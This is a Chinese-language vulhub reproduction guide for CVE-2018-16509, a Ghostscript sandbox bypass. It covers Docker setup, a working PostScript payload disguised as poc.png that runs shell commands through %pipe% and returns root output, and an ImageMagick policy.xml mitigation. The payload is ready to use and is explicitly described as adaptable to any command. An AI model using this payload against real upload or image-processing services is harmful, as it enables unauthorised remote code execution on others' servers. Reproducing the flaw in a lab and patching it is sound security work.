【vulhub】CVE-2018-16509 GhostScript 沙箱绕过(命令执行)漏洞
漏洞描述
GhostScript 是一套基于 Adobe Systems 的 PostScript 和 PDF 页面描述语言解释器的软件。它被许多图像处理库广泛使用,如 ImageMagick、Python PIL 等。
2018年8月21日,安全研究员 Tavis Ormandy 通过公开邮件列表披露了 GhostScript 的安全沙箱可以被绕过的漏洞。通过构造恶意的图片内容,攻击者可以实现命令执行、文件读取和文件删除等操作。
漏洞编号:
CVE-2018-16509
影响范围:
Ghostscript 9.24之前版本
漏洞成因:
在处理/invalidaccess异常时,程序没有正确的检测‘restoration of privilege(权限恢复)’。攻击者可通过提交特制的PostScript利用该漏洞执行代码。
漏洞复现
启动环境
docker-compose build
docker-compose up -d
访问http://your-ip:8080,可以看到文件上传按钮
构造poc.png
%!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops
上传poc.png,执行命令执行 id > /tmp/success && cat /tmp/success
将命令的输出重定向到 /tmp/success
文件,并将其内容输出。
浏览器返回 Image size is: uid=0(root) gid=0(root) groups=0(root)
修改 id > /tmp/success && cat /tmp/success 可以执行任意命令
登录docker发现文件被成功执行
修复方案
漏洞信息可以参考imagemaick的ghost script RCE漏洞
目前最全的修复方案参考:https://www.kb.cert.org/vuls/id/332928
编辑ImageMagick的policy文件,默认路径为/etc/ImageMagick/policy.xml
在标签中增加如下内容
<policy domain="coder" rights="none" pattern="PS" /> <policy domain="coder" rights="none" pattern="PS2" /> <policy domain="coder" rights="none" pattern="PS3" /> <policy domain="coder" rights="none" pattern="EPS" /> <policy domain="coder" rights="none" pattern="PDF" /> <policy domain="coder" rights="none" pattern="XPS" />